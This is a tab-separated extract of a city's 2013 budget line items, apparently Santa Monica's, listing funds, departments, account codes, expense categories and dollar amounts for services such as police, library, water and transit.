391	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
392	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
393	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	3560.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3560.0
394	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522720.0	MILEAGE	816.0	 Supplies and Expenses	2013	104.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104.0
395	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	7005.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7005.0
396	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2013	163325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	163325.0
397	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	762974.0	0	0.0	0.0	0	0	0.0	7630	0.0	0	0	0.0	770604.0
398	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2013	15467.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15467.0
399	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401650.0	SEWER SERVICE CHARGES	650.0	Charges for Service	2013	-18321194.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18321194.0
400	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	16667.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16667.0
401	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
402	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	6146.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6146.0
403	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	18500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18500.0
404	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522040.0	INSURANCE AND BONDS		 Supplies and Expenses	2013	850000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	850000.0
405	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
406	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
407	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511490.0	OVERTIME	804.0	Salaries and Wages	2013	5892.0	0	0.0	0.0	0	0	0.0	59	0.0	0	0	0.0	5951.0
408	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
409	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511490.0	OVERTIME	804.0	Salaries and Wages	2013	1200.0	0	0.0	0.0	0	0	0.0	12	0.0	0	0	0.0	1212.0
410	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	54808.0	0	0.0	0.0	0	0	0.0	-51145	0.0	0	0	0.0	3663.0
411	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	401190.0	CDBG PR YR ALLOCATION	610.0	Intergovernmental	2013	-1026939.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1026939.0
412	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400870.0	LEASE RENTAL REVENUE-DOWNTOWN	618.0	Rentals	2013	-343674.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-343674.0
413	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401550.0	MAP/CODE/SPECIFICATIONS SALES	612.0	Charges for Service	2013	-1168.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1168.0
414	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401460.0	POLICE SERV-FINGERPRINTING	612.0	Charges for Service	2013	-73501.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-73501.0
415	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405300.0	DUI RESPONSE-ACCIDENT/INJURY	612.0	Charges for Service	2013	-27358.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27358.0
416	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2013	1833.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1851.0
417	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	76777.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76777.0
418	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	5330.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5330.0
419	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
420	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2013	11944.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11944.0
421	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2013	119901.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	119901.0
422	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	-382.6	0	0	0.0	0	0.0	0	0	0.0	-382.6
423	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
424	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
425	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2013	91903.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	91903.0
426	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522090.0	MISCELLANEOUS COSTS		 Supplies and Expenses	2013	135000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	135000.0
427	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	6969.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6969.0
428	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	72000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72000.0
429	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2013	1000.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1010.0
430	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
431	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	302563.0	0	0.0	0.0	0	0	0.0	3026	0.0	0	0	0.0	305589.0
432	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2013	1530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1530.0
433	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	87500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87500.0
434	B1	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2013	-2200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2200.0
435	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400810.0	PEACE OFFICERS TRAINING	610.0	Intergovernmental	2013	-107100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-107100.0
436	B1	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405810.0	COPS - PER CAPITA	610.0	Intergovernmental	2013	-120000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-120000.0
437	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400230.0	CONDOMINIUM TAX	606.0	Other Local Taxes	2013	-25500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25500.0
438	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400510.0	PLAN CHECK FEES-BLDG & SAFETY	612.0	Charges for Service	2013	-2419000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2419000.0
439	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2013	1015.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1015.0
440	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
441	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
442	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	1333051.0	0	0.0	0.0	0	0	0.0	-151488	0.0	25117	0	0.0	1206680.0
443	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566470.0	TRAFFIC SIGNAL MAINTENANCE	816.0	 Supplies and Expenses	2013	117400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	117400.0
444	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2013	14630.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14630.0
445	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
446	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	3453129.0	0	0.0	0.0	0	0	0.0	34531	0.0	0	0	0.0	3487660.0
447	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
448	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	16421.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16421.0
449	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	124800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	124800.0
450	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2013	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
451	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2013	311.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	311.0
452	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
453	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2013	8200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8200.0
454	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
455	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
456	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2013	3754354.0	0	0.0	13747.0	0	0	0.0	37681	0.0	0	0	0.0	3805782.0
457	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2013	138016.0	0	0.0	0.0	0	0	0.0	1380	0.0	0	0	0.0	139396.0
458	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2013	475650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	475650.0
459	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522320.0	METERED POSTAGE	848.0	 Supplies and Expenses	2013	11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11000.0
460	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
461	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2013	31938.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31938.0
462	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522120.0	UTILITIES - NATURAL GAS	850.0	 Supplies and Expenses	2013	28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28000.0
463	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2013	-197872.0	0	0.0	0.0	0	0	0.0	61018	0.0	0	0	0.0	-136854.0
464	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV	908.0	 Supplies and Expenses	2013	-92000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-92000.0
465	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2013	992677.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	992677.0
466	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2013	888759.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	888759.0
467	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2013	850000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	850000.0
468	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522060.0	COURT FILING FEES	862.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
469	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2013	250000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250000.0
470	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
471	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2013	260282.0	0	0.0	0.0	0	0	0.0	2603	0.0	0	0	0.0	262885.0
472	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	2825.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2825.0
473	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
474	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2013	136590.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	136590.0
475	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	5800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5800.0
476	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DCAP	806.0	Salaries and Wages	2013	12636.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12636.0
477	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
478	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	4850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4850.0
479	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	72800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72800.0
480	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	44200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44200.0
481	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2013	65100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65100.0
482	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2013	2212232.0	0	0.0	0.0	0	0	0.0	22122	0.0	0	0	0.0	2234354.0
483	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
484	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	0.0	0	0.0	-355.5	0	0	0.0	0	0.0	0	0	0.0	-355.5
485	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2013	1020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1020.0
486	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2013	200000.0	0	0.0	0.0	0	0	0.0	1955	0.0	0	0	0.0	201955.0
487	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
488	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	109329.2	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	109329.2
489	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
490	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	695600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	695600.0
491	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2013	666368.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	666368.0
492	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	14378.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14378.0
493	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2013	16216.5	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16216.5
494	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2013	13852.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13852.0
495	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511030.0	DIVE PAY		Salaries and Wages	2013	16200.0	0	0.0	0.0	0	0	0.0	162	0.0	0	0	0.0	16362.0
496	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544030.0	BADGE / AWARD / NAME PLATES		 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
497	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2013	17238.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17238.0
498	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	11855827.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11855827.0
499	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	117180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	117180.0
500	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	4080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4080.0
501	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2013	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
502	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522042.0	RECOVERY FROM SUBROGATION		 Supplies and Expenses	2013	-110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-110000.0
503	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	3400368.0	0	0.0	0.0	0	0	0.0	34004	0.0	0	0	0.0	3434372.0
504	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522912.0	OIL FOR REVENUE EQUIPMENT		 Supplies and Expenses	2013	150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150000.0
505	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2013	24108.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24108.0
506	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522110.0	UTIL - LIGHT / POWER	812.0	 Supplies and Expenses	2013	293058.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	293058.0
